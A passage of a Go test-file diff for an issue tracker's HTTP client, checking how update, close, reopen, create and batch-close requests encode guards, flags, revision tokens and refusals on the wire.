the replacement set %v", got, want) + } +} + +// TestUpdateRefusesARequestThatWritesNothing keeps an empty patch off the wire: +// the server answers it with a 400 and so would we, and a write that writes +// nothing is a client bug worth naming before it costs a round trip. +func TestUpdateRefusesARequestThatWritesNothing(t *testing.T) { + w := &stubWire{} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + _, err = lifecycle.Update(t.Context(), issueops.UpdateRequest{Actor: "writer", IssueID: "bd-1"}) + if !errors.Is(err, issueops.ErrValidation) { + t.Fatalf("empty-patch Update = %v, want ErrValidation", err) + } + if len(w.calls) != 0 { + t.Errorf("the empty patch dialed %v", w.calls) + } +} + +// TestReopenRefusesTheMembersTheWireExcludes is the reopen half of +// refuse-not-drop. Provenance is not in the design's own enumeration — the page +// lists the close half of ExpectedVersion and nothing about Provenance — and it +// is a ledger row for the same reason that one was. +// +// ExpectedVersion left this population when the client learned to send it; its +// round trip is TestReopenSendsTheRowVersionPrecondition below. +func TestReopenRefusesTheMembersTheWireExcludes(t *testing.T) { + cases := map[string]issueops.ReopenRequest{ + "Provenance": {Provenance: "bd: reopen"}, + } + for name, req := range cases { + t.Run(name, func(t *testing.T) { + w := &stubWire{reopen: &apigen.ReopenIssueResponse{Revision: "0"}} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + req.Actor, req.IssueID = "writer", "bd-1" + if _, err := lifecycle.Reopen(t.Context(), req); !errors.Is(err, encode.ErrRefused) { + t.Fatalf("Reopen with %s = %v, want a refuse-not-drop refusal", name, err) + } + if len(w.calls) != 0 { + t.Errorf("the refusal dialed %v", w.calls) + } + }) + } +} + +// The compare-and-set preconditions, on the four verbs that publish them. +// +// Each case drives ONE guard and reads the body the role put on the wire, and +// each asserts the same two things: the member is sent, and — the half that +// catches the mistake nobody sees — a request that names NO guard leaves the +// member ABSENT rather than sending a zero. +// +// ABSENT IS NOT ZERO on any of them. `expected_version` 0 is a legal token: the +// migration-0054 backfill left rows holding it, so a client that encoded "no +// guard" as 0 would guard every unguarded write against those rows and only +// those. `expected_assignee` "" is a legal guard too — it is how a caller says +// "only if nobody holds it" — so the two states cannot be collapsed in the other +// direction either. The role models both as POINTERS for exactly this reason and +// the wire body does too, so the encoding is a nil check and nothing else. No +// sentinel is encoded anywhere: not 0, and not the -1 the tree carried before +// the wire wave retired it. + +func TestCloseSendsTheRowVersionPrecondition(t *testing.T) { + version := int64(9) + for _, tc := range []struct { + name string + want *int64 + req issueops.CloseRequest + }{ + {name: "guarded", want: &version, req: issueops.CloseRequest{ExpectedVersion: &version}}, + {name: "zero is a real token", want: new(int64), req: issueops.CloseRequest{ExpectedVersion: new(int64)}}, + {name: "unguarded", want: nil, req: issueops.CloseRequest{}}, + } { + t.Run(tc.name, func(t *testing.T) { + w := &stubWire{close: &apigen.CloseIssueResponse{Revision: "0"}} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + req := tc.req + req.Actor, req.IssueID = "writer", "bd-1" + if _, err := lifecycle.Close(t.Context(), req); err != nil { + t.Fatalf("Close: %v", err) + } + assertExpectedVersion(t, "closeIssue", w.lastClose.ExpectedVersion, tc.want) + }) + } +} + +func TestReopenSendsTheRowVersionPrecondition(t *testing.T) { + version := int64(11) + for _, tc := range []struct { + name string + want *int64 + req issueops.ReopenRequest + }{ + {name: "guarded", want: &version, req: issueops.ReopenRequest{ExpectedVersion: &version}}, + {name: "zero is a real token", want: new(int64), req: issueops.ReopenRequest{ExpectedVersion: new(int64)}}, + {name: "unguarded", want: nil, req: issueops.ReopenRequest{}}, + } { + t.Run(tc.name, func(t *testing.T) { + w := &stubWire{reopen: &apigen.ReopenIssueResponse{Revision: "0"}} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + req := tc.req + req.Actor, req.IssueID = "writer", "bd-1" + if _, err := lifecycle.Reopen(t.Context(), req); err != nil { + t.Fatalf("Reopen: %v", err) + } + assertExpectedVersion(t, "reopenIssue", w.lastReopen.ExpectedVersion, tc.want) + }) + } +} + +// TestLifecycleResultsStitchTheRevisionOntoTheRow is the update/close/reopen +// twin of TestReleaseStitchesTheRevisionOntoTheRowItAnswersWith. +// +// types.Issue.RowVersion is `json:"-"`, so the decoded row carries no token and +// each verb publishes the post-write revision as a SIBLING member. The client's +// one correct move is to ride it back onto Issue.RowVersion; both wrong ones are +// silent — dropping the member leaves a zero that reads as a real token (the +// migration-0054 backfill wrote 0s), and a second result field leaves the +// compose-and-continue loop reading the wrong one. The token is deliberately past +// 2^53: a decode through an IEEE-754 double answers a number NEAR it that is not +// it. The stub answers the revision BESIDE the row precisely so a stub that put +// it on the issue would hide the stitch. +func TestLifecycleResultsStitchTheRevisionOntoTheRow(t *testing.T) { + const token int64 = 900719925474099234 + + t.Run("update", func(t *testing.T) { + w := &stubWire{update: &apigen.UpdateIssueResponse{ + Issue: types.Issue{ID: "bd-1", Status: types.StatusOpen}, Changed: true, Revision: types.RevisionToken(token), + }} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + res, err := lifecycle.Update(t.Context(), issueops.UpdateRequest{ + Actor: "writer", IssueID: "bd-1", Patch: issueops.IssuePatch{Priority: set(1)}, + }) + if err != nil { + t.Fatalf("Update: %v", err) + } + if res.Issue == nil || res.Issue.RowVersion != token { + t.Errorf("UpdateResult.Issue.RowVersion = %v, want %d off the wire's revision", res.Issue, token) + } + }) + + t.Run("close", func(t *testing.T) { + w := &stubWire{close: &apigen.CloseIssueResponse{ + Issue: types.Issue{ID: "bd-1", Status: types.StatusClosed}, Revision: types.RevisionToken(token), + }} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + res, err := lifecycle.Close(t.Context(), issueops.CloseRequest{Actor: "writer", IssueID: "bd-1"}) + if err != nil { + t.Fatalf("Close: %v", err) + } + if res.Issue == nil || res.Issue.RowVersion != token { + t.Errorf("CloseResult.Issue.RowVersion = %v, want %d off the wire's revision", res.Issue, token) + } + }) + + t.Run("reopen", func(t *testing.T) { + w := &stubWire{reopen: &apigen.ReopenIssueResponse{ + Issue: types.Issue{ID: "bd-1", Status: types.StatusOpen}, Revision: types.RevisionToken(token), + }} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + res, err := lifecycle.Reopen(t.Context(), issueops.ReopenRequest{Actor: "writer", IssueID: "bd-1"}) + if err != nil { + t.Fatalf("Reopen: %v", err) + } + if res.Issue == nil || res.Issue.RowVersion != token { + t.Errorf("ReopenResult.Issue.RowVersion = %v, want %d off the wire's revision", res.Issue, token) + } + }) +} + +// TestUpdateSendsTheGuardTrio drives all three of updateIssue's preconditions, +// including the two whose EMPTY value is a real guard. +func TestUpdateSendsTheGuardTrio(t *testing.T) { + version := int64(7) + unassigned := "" + holder := "gastown.mayor" + open := issueops.StatusOpen + + patch := issueops.IssuePatch{Priority: set(1)} + for _, tc := range []struct { + name string + req issueops.UpdateRequest + want wire.UpdateGuards + }{ + { + name: "unguarded leaves every member absent", + req: issueops.UpdateRequest{}, + want: wire.UpdateGuards{}, + }, + { + name: "version", + req: issueops.UpdateRequest{ExpectedVersion: &version}, + want: wire.UpdateGuards{ExpectedVersion: ptr(types.RevisionToken(version))}, + }, + { + name: "version zero is a real token", + req: issueops.UpdateRequest{ExpectedVersion: new(int64)}, + want: wire.UpdateGuards{ExpectedVersion: ptr("0")}, + }, + { + name: "the empty assignee is a real guard", + req: issueops.UpdateRequest{ExpectedAssignee: &unassigned}, + want: wire.UpdateGuards{ExpectedAssignee: &unassigned}, + }, + { + name: "assignee", + req: issueops.UpdateRequest{ExpectedAssignee: &holder}, + want: wire.UpdateGuards{ExpectedAssignee: &holder}, + }, + { + name: "status", + req: issueops.UpdateRequest{ExpectedStatus: &open}, + want: wire.UpdateGuards{ExpectedStatus: ptr(string(open))}, + }, + { + name: "all three together", + req: issueops.UpdateRequest{ + ExpectedVersion: &version, ExpectedAssignee: &holder, ExpectedStatus: &open, + }, + want: wire.UpdateGuards{ + ExpectedVersion: ptr(types.RevisionToken(version)), ExpectedAssignee: &holder, ExpectedStatus: ptr(string(open)), + }, + }, + } { + t.Run(tc.name, func(t *testing.T) { + w := &stubWire{update: &apigen.UpdateIssueResponse{Revision: "0"}} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + req := tc.req + req.Actor, req.IssueID, req.Patch = "writer", "bd-1", patch + if _, err := lifecycle.Update(t.Context(), req); err != nil { + t.Fatalf("Update: %v", err) + } + // The version guard reaches the wire as the token's decimal string + // (types.RevisionToken), so it is compared as the text it became. + assertGuardText(t, "expected_version", w.lastGuards.ExpectedVersion, tc.want.ExpectedVersion) + assertGuardText(t, "expected_assignee", w.lastGuards.ExpectedAssignee, tc.want.ExpectedAssignee) + assertGuardText(t, "expected_status", w.lastGuards.ExpectedStatus, tc.want.ExpectedStatus) + // The guards ride BESIDE the patch document, never inside it: the + // server reads them off the body's top level and an + // `expected_version` smuggled into `patch` would be an unknown + // member and a 400. + for _, guard := range []string{"expected_version", "expected_status", "expected_assignee"} { + if _, in := w.lastPatch[guard]; in { + t.Errorf("the patch document carries %q; the guards are top-level members of the body", guard) + } + } + }) + } +} + +// TestUpdateSendsEachFlagOnlyWhenRequested is the positive half of the four +// retired flag rows — W-UpdateRequest.ForceNotesOverwrite, then Claim, +// ForceAssigneeTransfer and ForceClosePolicy with the #7247 review port: each +// member is now a wire argument of UpdateIssue rather than a document field, so +// the role must send `true` when the request asks for it and nothing — not +// `false` — when it does not, matching setItemBool's "only true is written" +// rule everywhere else these flags travel. The comparison is the whole struct, +// so a flag carried in its neighbour's slot fails too. +// +// The claim cases pin the shape #6890 made servable: a claim with an EMPTY +// patch is one updateIssue call with the empty document, and a claim beside a +// patch is the same call, never a claimIssue first. +func TestUpdateSendsEachFlagOnlyWhenRequested(t *testing.T) { + notes := issueops.IssuePatch{Notes: set("replacement notes")} + for _, tc := range []struct { + name string + req issueops.UpdateRequest + want wire.UpdateFlags + wantPatch map[string]any + }{ + { + name: "absent leaves every fence enforced", + req: issueops.UpdateRequest{Patch: notes}, + want: wire.UpdateFlags{}, + wantPatch: map[string]any{"notes": "replacement notes"}, + }, + { + name: "notes overwrite", + req: issueops.UpdateRequest{Patch: notes, ForceNotesOverwrite: true}, + want: wire.UpdateFlags{ForceNotesOverwrite: true}, + wantPatch: map[string]any{"notes": "replacement notes"}, + }, + { + name: "assignee transfer", + req: issueops.UpdateRequest{ + Patch: issueops.IssuePatch{Assignee: set("new-holder")}, + ForceAssigneeTransfer: true, + }, + want: wire.UpdateFlags{ForceAssigneeTransfer: true}, + wantPatch: map[string]any{"assignee": "new-holder"}, + }, + { + name: "close policy", + req: issueops.UpdateRequest{ + Patch: issueops.IssuePatch{Status: set(issueops.StatusClosed)}, + ForceClosePolicy: true, + }, + want: wire.UpdateFlags{ForceClosePolicy: true}, + wantPatch: map[string]any{"status": string(issueops.StatusClosed)}, + }, + { + name: "a claim alone sends the empty patch", + req: issueops.UpdateRequest{Claim: true}, + want: wire.UpdateFlags{Claim: true}, + wantPatch: map[string]any{}, + }, + { + name: "a claim beside a patch is one call", + req: issueops.UpdateRequest{Claim: true, Patch: notes}, + want: wire.UpdateFlags{Claim: true}, + wantPatch: map[string]any{"notes": "replacement notes"}, + }, + } { + t.Run(tc.name, func(t *testing.T) { + w := &stubWire{update: &apigen.UpdateIssueResponse{Revision: "41"}} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + req := tc.req + req.Actor, req.IssueID = "writer", "bd-1" + res, err := lifecycle.Update(t.Context(), req) + if err != nil { + t.Fatalf("Update: %v", err) + } + if w.lastFlags != tc.want { + t.Errorf("flags sent as %+v, want %+v", w.lastFlags, tc.want) + } + // A nil map would marshal as `null`, which the server refuses even + // beside a claim: the claim's empty patch is the empty DOCUMENT. + if w.lastPatch == nil || !reflect.DeepEqual(w.lastPatch, tc.wantPatch) { + t.Errorf("patch sent as %#v, want %#v", w.lastPatch, tc.wantPatch) + } + if want := []string{"updateIssue:bd-1"}; !reflect.DeepEqual(w.calls, want) { + t.Errorf("Update dialed %v, want %v", w.calls, want) + } + if res.Issue == nil || res.Issue.RowVersion != 41 { + t.Errorf("UpdateResult.Issue = %+v, want the response's revision stitched on", res.Issue) + } + }) + } +} + +// assertExpectedVersion compares a row-version guard THROUGH the pointer, so +// absent and zero are two different failures with two different messages. +// +// `got` is what reached the wire: the token's decimal STRING, spelled by +// types.RevisionToken (upstream #6053 — a JSON number on this member is a 400). +// `want` is the int64 the role was handed, so the assertion pins the encoding +// too: a guard on 0 has to arrive as "0", never as an absent member. +func assertExpectedVersion(t *testing.T, op string, got *string, want *int64) { + t.Helper() + switch { + case want == nil && got != nil: + t.Errorf("%s sent expected_version %q for a request that named no guard; absent means absent, never zero", op, *got) + case want != nil && got == nil: + t.Errorf("%s omitted expected_version; the guard was %d", op, *want) + case want != nil && got != nil && *got != types.RevisionToken(*want): + t.Errorf("%s sent expected_version %q, want %q", op, *got, types.RevisionToken(*want)) + } +} + +func assertGuardText(t *testing.T, member string, got, want *string) { + t.Helper() + switch { + case want == nil && got != nil: + t.Errorf("%s was sent as %q for a request that named no guard; absent means absent, never the empty string", member, *got) + case want != nil && got == nil: + t.Errorf("%s was omitted; the guard was %q", member, *want) + case want != nil && got != nil && *got != *want: + t.Errorf("%s = %q, want %q", member, *got, *want) + } +} + +// ptr lives in helpers_test.go; this file used to redeclare it identically +// (the lift had the same generic helper in two files, which never compiled), +// removed in S3 reconciliation (2026-10). + +// TestCreateRefusesARequestWithNoIssue keeps the role's own precondition off the +// wire: a create with nothing to create is a client bug, not a round trip. +func TestCreateRefusesARequestWithNoIssue(t *testing.T) { + w := &stubWire{} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + if _, err := lifecycle.Create(t.Context(), issueops.CreateRequest{Actor: "writer"}); !errors.Is(err, issueops.ErrValidation) { + t.Fatalf("Create with no issue = %v, want ErrValidation", err) + } + if len(w.calls) != 0 { + t.Errorf("the refusal dialed %v", w.calls) + } +} + +// TestCreateSendsTheWholeRequestVocabulary drives one create carrying every +// member the wire publishes and reads the body back. +// +// It is the create's answer to TestBatchCreateSendsTheItemMembersTheWireCarries, +// and it is a wider table for a reason the two operations do not share: +// createIssue publishes the WHOLE create vocabulary at the top level of one flat +// body, where batchCreateIssues' item spells nine members of an issue. So every +// member here is a member some caller of `bd create` fills in. +func TestCreateSendsTheWholeRequestVocabulary(t *testing.T) { + minutes := 45 + externalRef := "gh-9" + dueAt := time.Date(2033, 5, 6, 7, 8, 9, 0, time.UTC) + deferUntil := time.Date(2033, 4, 5, 6, 7, 8, 0, time.UTC) + + w := &stubWire{} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + if _, err := lifecycle.Create(t.Context(), issueops.CreateRequest{ + Actor: "writer", + ParentID: "bd-parent", + InheritLabelsFromParent: true, + ForceIDPrefix: true, + Dependencies: []issueops.CreateDependency{ + {TargetID: "bd-blocker", Type: types.DepBlocks}, + {TargetID: "bd-reverse", Type: types.DepBlocks, Reverse: true, Metadata: `{"k":"v"}`}, + }, + WaitsFor: &issueops.WaitsFor{SpawnerID: "bd-spawner", Gate: "any-children"}, + Issue: &issueops.Issue{ + ID: "bd-9", Title: "created title", Description: "created description", + Design: "created design", AcceptanceCriteria: "created acceptance", + Notes: "created notes", Status: issueops.StatusInProgress, Priority: 1, + IssueType: types.TypeBug, Assignee: "created-assignee", Owner: "created-owner", + EstimatedMinutes: &minutes, ExternalRef: &externalRef, + DueAt: &dueAt, DeferUntil: &deferUntil, Sender: "created-sender", + Metadata: json.RawMessage(`{"m":1}`), Labels: []string{"a", "b"}, + Ephemeral: true, + }, + }); err != nil { + t.Fatalf("Create: %v", err) + } + if got := w.calls; len(got) != 1 || got[0] != "createIssue" { + t.Fatalf("Create dialed %v, want one createIssue", got) + } + + body := w.lastCreate + for member, got := range map[string]string{ + "actor": body.Actor, + "title": body.Title, + "id": deref(body.Id), + "description": deref(body.Description), + "design": deref(body.Design), + "acceptance_criteria": deref(body.AcceptanceCriteria), + "notes": deref(body.Notes), + "status": deref(body.Status), + "issue_type": deref(body.IssueType), + "assignee": deref(body.Assignee), + "owner": deref(body.Owner), + "external_ref": deref(body.ExternalRef), + "sender": deref(body.Sender), + "parent_id": deref(body.ParentId), + } { + if got == "" { + t.Errorf("createIssue left %q empty; every member of the request reached the wire or refused", member) + } + } + if body.Priority == nil || *body.Priority != 1 { + t.Errorf("priority = %v, want 1 — 0 is P0 and a real request, so the member is always sent", body.Priority) + } + if body.EstimatedMinutes == nil || *body.EstimatedMinutes != minutes { + t.Errorf("estimated_minutes = %v, want %d", body.EstimatedMinutes, minutes) + } + if body.DueAt == nil || !body.DueAt.Equal(dueAt) { + t.Errorf("due_at = %v, want %v", body.DueAt, dueAt) + } + if body.DeferUntil == nil || !body.DeferUntil.Equal(deferUntil) { + t.Errorf("defer_until = %v, want %v", body.DeferUntil, deferUntil) + } + if body.Labels == nil || strings.Join(*body.Labels, ",") != "a,b" { + t.Errorf("labels = %v, want [a b]", body.Labels) + } + if string(body.Metadata) != `{"m":1}` { + t.Errorf("metadata = %s, want the caller's document verbatim", body.Metadata) + } + for member, got := range map[string]*bool{ + "ephemeral": body.Ephemeral, + "inherit_labels_from_parent": body.InheritLabelsFromParent, + "force_id_prefix": body.ForceIdPrefix, + } { + if got == nil || !*got { + t.Errorf("%s = %v, want true", member, got) + } + } + if body.WaitsFor == nil || body.WaitsFor.SpawnerId != "bd-spawner" || deref(body.WaitsFor.Gate) != "any-children" { + t.Errorf("waits_for = %+v, want the spawner and its gate", body.WaitsFor) + } + if body.Dependencies == nil || len(*body.Dependencies) != 2 { + t.Fatalf("dependencies = %v, want two edges", body.Dependencies) + } + edges := *body.Dependencies + if edges[0].TargetId != "bd-blocker" || edges[0].Type != string(types.DepBlocks) { + t.Errorf("dependencies[0] = %+v, want the blocking edge", edges[0]) + } + // `reverse` and `metadata` ARE on this operation's edge, unlike + // batchCreateIssues' — the create has an id for a target to point back at. + if edges[1].Reverse == nil || !*edges[1].Reverse { + t.Errorf("dependencies[1].reverse = %v, want true", edges[1].Reverse) + } + if string(edges[1].Metadata) != `{"k":"v"}` { + t.Errorf("dependencies[1].metadata = %s, want the caller's blob verbatim", edges[1].Metadata) + } +} + +// TestCreateOmitsTheMembersTheRequestLeftEmpty is the other half: a bare create +// sends a bare body. +// +// It is not tidiness. `ephemeral` and `no_history` select a PLANE, `status` and +// `issue_type` are checked against the workspace's own vocabulary, and `id` is +// create-only — so a client that sent every member at its zero value would +// route a durable create onto the wisp plane, refuse on an empty type, and claim +// the empty id. Only `priority` and `actor` are unconditional, and priority for +// the reason batchCreateIssues gives: 0 is P0. +func TestCreateOmitsTheMembersTheRequestLeftEmpty(t *testing.T) { + w := &stubWire{} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + if _, err := lifecycle.Create(t.Context(), issueops.CreateRequest{ + Actor: "writer", + Issue: &issueops.Issue{Title: "bare", IssueType: types.TypeTask}, + }); err != nil { + t.Fatalf("Create: %v", err) + } + + body := w.lastCreate + for member, got := range map[string]any{ + "id": body.Id, + "description": body.Description, + "design": body.Design, + "acceptance_criteria": body.AcceptanceCriteria, + "notes": body.Notes, + "status": body.Status, + "assignee": body.Assignee, + "owner": body.Owner, + "external_ref": body.ExternalRef, + "sender": body.Sender, + "parent_id": body.ParentId, + "estimated_minutes": body.EstimatedMinutes, + "due_at": body.DueAt, + "defer_until": body.DeferUntil, + "labels": body.Labels, + "ephemeral": body.Ephemeral, + "no_history": body.NoHistory, + "inherit_labels_from_parent": body.InheritLabelsFromParent, + "force_id_prefix": body.ForceIdPrefix, + "dependencies": body.Dependencies, + "waits_for": body.WaitsFor, + } { + if !reflect.ValueOf(got).IsNil() { + t.Errorf("a bare create sent %q; an omitted member is the workspace default and a zero one is a request", member) + } + } + if body.Metadata != nil { + t.Errorf("a bare create sent metadata %s", body.Metadata) + } + if body.Priority == nil || *body.Priority != 0 { + t.Errorf("priority = %v, want 0 sent explicitly — 0 is P0, not an absence", body.Priority) + } +} + +// TestCreateNamesTheOccupiedIDItWasRefusedFor: the wire's already_exists carries +// `param: "id"` and no id, because the request already said it. The role puts it +// back, so `bd create --id X` over http tells the user WHICH id — the same fact a +// local backend's refusal carries in its own message. +func TestCreateNamesTheOccupiedIDItWasRefusedFor(t *testing.T) { + w := &stubWire{errs: []error{fmt.Errorf("bd serve answered 409: %w", issueops.ErrAlreadyExists)}} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + _, err = lifecycle.Create(t.Context(), issueops.CreateRequest{ + Actor: "writer", + Issue: &issueops.Issue{ID: "bd-taken", Title: "t", IssueType: types.TypeTask}, + }) + if !errors.Is(err, issueops.ErrAlreadyExists) { + t.Fatalf("Create over an occupied id = %v, want ErrAlreadyExists", err) + } + if !strings.Contains(err.Error(), "bd-taken") { + t.Errorf("Create error = %v, want it to name the occupied id", err) + } +} + +func deref(v *string) string { + if v == nil { + return "" + } + return *v +} + +// TestBatchCloseServesTheSingleItemShapeAndRefusesTheRest pins the DOWN-LEVEL +// leg: a server that does not advertise issues.batchClose (the stub store carries +// no capabilities), against which the role composes the single-item, no-ClaimNext +// shape onto closeIssue and refuses every shape that cannot compose. Where the +// capability IS present the whole batch is served on one wire call — the served +// conformance lane pins that leg, all nineteen cases. +func TestBatchCloseServesTheSingleItemShapeAndRefusesTheRest(t *testing.T) { + t.Run("single item composes onto closeIssue", func(t *testing.T) { + w := &stubWire{close: &apigen.CloseIssueResponse{ + Issue: types.Issue{ID: "bd-1", Status: types.StatusClosed}, OpenChildren: 2, Revision: "0", + }} + closer, err := stubStore(t, w).BatchCloser() + if err != nil { + t.Fatalf("BatchCloser(): %v", err) + } + res, err := closer.CloseBatch(t.Context(), issueops.CloseBatchRequest{ + Actor: "writer", + Items: []issueops.BatchCloseItem{{IssueID: "bd-1", Reason: "done"}}, + Session: "s1", + Force: true, + }) + if err != nil { + t.Fatalf("CloseBatch: %v", err) + } + if len(res.Outcomes) != 1 || res.Outcomes[0].IssueID != "bd-1" { + t.Fatalf("Outcomes = %+v, want one entry for bd-1", res.Outcomes) + } + if !res.Outcomes[0].Changed || res.Outcomes[0].OpenChildren != 2 { + t.Errorf("outcome = %+v, want the close's own Changed and OpenChildren", res.Outcomes[0]) + } + // The per-item reason and the request-wide session and force all reach + // the one operation, because losing any of them would close the issue + // with a record of why that is not the one the caller gave. + if w.lastClose.Reason == nil || *w.lastClose.Reason != "done" { + t.Errorf("close body carried reason %v, want the item's", w.lastClose.Reason) + } + if w.lastClose.Session == nil || *w.lastClose.Session != "s1" { + t.Errorf("close body carried session %v, want the request's", w.lastClose.Session) + } + if w.lastClose.Force == nil || !*w.lastClose.Force { + t.Errorf("close body carried force %v, want true", w.lastClose.Force) + } + }) + + t.Run("a per-item refusal is a result", func(t *testing.T) { + w := &stubWire{errs: []error{&issueops.CloseOpenChildrenError{IssueID: "bd-1", OpenChildren: 3}}} + closer, err := stubStore(t, w).BatchCloser() + if err != nil { + t.Fatalf("BatchCloser(): %v", err) + } + res, err := closer.CloseBatch(t.Context(), issueops.CloseBatchRequest{ + Actor: "writer", Items: []issueops.BatchCloseItem{{IssueID: "bd-1"}}, + }) + if err != nil { + t.Fatalf("CloseBatch returned the refusal as the METHOD's error: %v", err) + } + if len(res.Outcomes) != 1 || res.Outcomes[0].Err == nil { + t.Fatalf("Outcomes = %+v, want the refusal carried per item", res.Outcomes) + } + var openChildren *issueops.CloseOpenChildrenError + if !errors.As(res.Outcomes[0].Err, &openChildren) || openChildren.OpenChildren != 3 { + t.Errorf("per-item error = %v, want the typed open-children refusal", res.Outcomes[0].Err) + } + }) + + t.Run("the unserved shapes refuse without dialing", func(t *testing.T) { + cases := map[string]issueops.CloseBatchRequest{ + "multi-item": {Actor: "w", Items: []issueops.BatchCloseItem{{IssueID: "bd-1"}, {IssueID: "bd-2"}}}, + } + for name, req := range cases { + t.Run(name, func(t *testing.T) { + w := &stubWire{close: &apigen.CloseIssueResponse{Revision: "0"}} + closer, err := stubStore(t, w).BatchCloser() + if err != nil { + t.Fatalf("BatchCloser(): %v", err) + } + res, err := closer.CloseBatch(t.Context(), req) + var unsup *ErrHTTPUnsupported + if !errors.As(err, &unsup) { + t.Fatalf("CloseBatch(%s) = %v, want the typed unsupported sentinel", name, err) + } + if len(res.Outcomes) != 0 { + t.Errorf("a refused request carried outcomes: %+v", res.Outcomes) + } + if len(w.calls) != 0 { + t.Errorf("the refusal dialed %v; a shape that cannot be served must not half-serve it", w.calls) + } + }) + } + }) + + t.Run("an invalid request is ErrValidation, not unsupported", func(t *testing.T) { + w := &stubWire{} + closer, err := stubStore(t, w).BatchCloser() + if err != nil { + t.Fatalf("BatchCloser(): %v", err) + } + for name, req := range map[string]issueops.CloseBatchRequest{ + "no actor": {Items: []issueops.BatchCloseItem{{IssueID: "bd-1"}}}, + "no items": {Actor: "w"}, + "blank id": {Actor: "w", Items: []issueops.BatchCloseItem{{IssueID: ""}}}, + } { + if _, err := closer.CloseBatch(t.Context(), req); !errors.Is(err, issueops.ErrValidation) { + t.Errorf("CloseBatch(%s) = %v, want ErrValidation", name, err) + } + } + if len(w.calls) != 0 { + t.Errorf("an invalid request dialed %v", w.calls) + } + }) +} + +// batchCloseStore is a stub store whose server advertises issues.batchClose, so +// the BatchCloser takes the served (whole-batch) leg rather than the down-level +// composed one. +func batchCloseStore(t *testing.T, w *stubWire) *Store { + t.Helper() + return New(testTarget(t), w, &apigen.ContextResponse{ + BdVersion: "1.2.3", + Capabilities: []string{"issues.close", "issues.batchClose"}, + }) +} + +// TestBatchCloseRefusesWhatTheWireCannotCarry is L-close-cap's pin, L16's +// sibling: a batch over the wire's item cap refuses naming the bound and NEVER +// dials — the assertion that matters is that it is not chunked or half-sent — and +// a batch exactly at the bound reaches the batchClose operation. +func TestBatchCloseRefusesWhatTheWireCannotCarry(t *testing.T) { + items := func(n int) []issueops.BatchCloseItem { + out := make([]issueops.BatchCloseItem, n) + for i := range out { + out[i] = issueops.BatchCloseItem{IssueID: fmt.Sprintf("bd-%d", i)} + } + return out + } + dialed := func(calls []string, op string) bool { + for _, c := range calls { + if c == op { + return true + } + } + return false + } + + t.Run("over the wire bound refuses without dialing", func(t *testing.T) { + w := &stubWire{} + closer, err := batchCloseStore(t, w).BatchCloser() + if err != nil { + t.Fatalf("BatchCloser(): %v", err) + } + res, err := closer.CloseBatch(t.Context(), issueops.CloseBatchRequest{ + Actor: "w", Items: items(maxWireBatchCloseItems + 1), + }) + if !errors.Is(err, encode.ErrRefused) { + t.Fatalf("CloseBatch(%d items) = %v, want the ledgered refusal", maxWireBatchCloseItems+1, err) + } + if len(res.Outcomes) != 0 { + t.Errorf("a refused over-cap batch carried outcomes: %+v", res.Outcomes) + } + if len(w.calls) != 0 { + t.Errorf("the over-cap refusal dialed %v; a batch over the bound must not be chunked or sent", w.calls) + } + }) + + t.Run("exactly the wire bound serves", func(t *testing.T) { + reqItems := items(maxWireBatchCloseItems) + outcomes := make([]apigen.CloseOutcome, maxWireBatchCloseItems) + for i := range outcomes { + outcomes[i] = apigen.CloseOutcome{IssueId: reqItems[i].IssueID, Issue: &types.Issue{ID: reqItems[i].IssueID}} + } + w := &stubWire{batchClose: &apigen.BatchCloseResponse{Outcomes: outcomes}} + closer, err := batchCloseStore(t, w).BatchCloser() + if err != nil { + t.Fatalf("BatchCloser(): %v", err) + } + res, err := closer.CloseBatch(t.Context(), issueops.CloseBatchRequest{Actor: "w", Items: reqItems}) + if err != nil { + t.Fatalf("CloseBatch at the bound: %v", err) + } + if len(res.Outcomes) != maxWireBatchCloseItems { + t.Fatalf("Outcomes = %d, want one per item at the bound", len(res.Outcomes)) + } + if !dialed(w.calls, "batchCloseIssues") { + t.Errorf("a batch at the bound did not reach the batchClose operation: %v", w.calls) + } + }) +} + +// TestBatchCloseRefusesClaimNextUnconditionally pins the S3 reconciliation: +// OSS's apigen.BatchCloseRequest and BatchCloseResponse publish no +// claim_next/claimed_next member at all (ledger row +// W-CloseBatchRequest.ClaimNext), so a batch close naming one refuses before +// any dial -- on BOTH legs, regardless of whether the server advertises +// issues.batchClose, and regardless of whether the filter it carries would +// otherwise be valid. +func TestBatchCloseRefusesClaimNextUnconditionally(t *testing.T) { + claim := issueops.ReadyRequest{} + req := issueops.CloseBatchRequest{ + Actor: "w", Items: []issueops.BatchCloseItem{{IssueID: "bd-1"}}, ClaimNext: &claim, + } + + for name, store := range map[string]func(*testing.T, *stubWire) *Store{ + "unserved leg": stubStore, + "served leg": batchCloseStore, + } { + t.Run(name, func(t *testing.T) { + w := &stubWire{batchClose: &apigen.BatchCloseResponse{ + Outcomes: []apigen.CloseOutcome{{IssueId: "bd-1", Issue: &types.Issue{ID: "bd-1"}}}, + }} + closer, err := store(t, w).BatchCloser() + if err != nil { + t.Fatalf("BatchCloser(): %v", err) + } + res, err := closer.CloseBatch(t.Context(), req) + if !errors.Is(err, encode.ErrRefused) { + 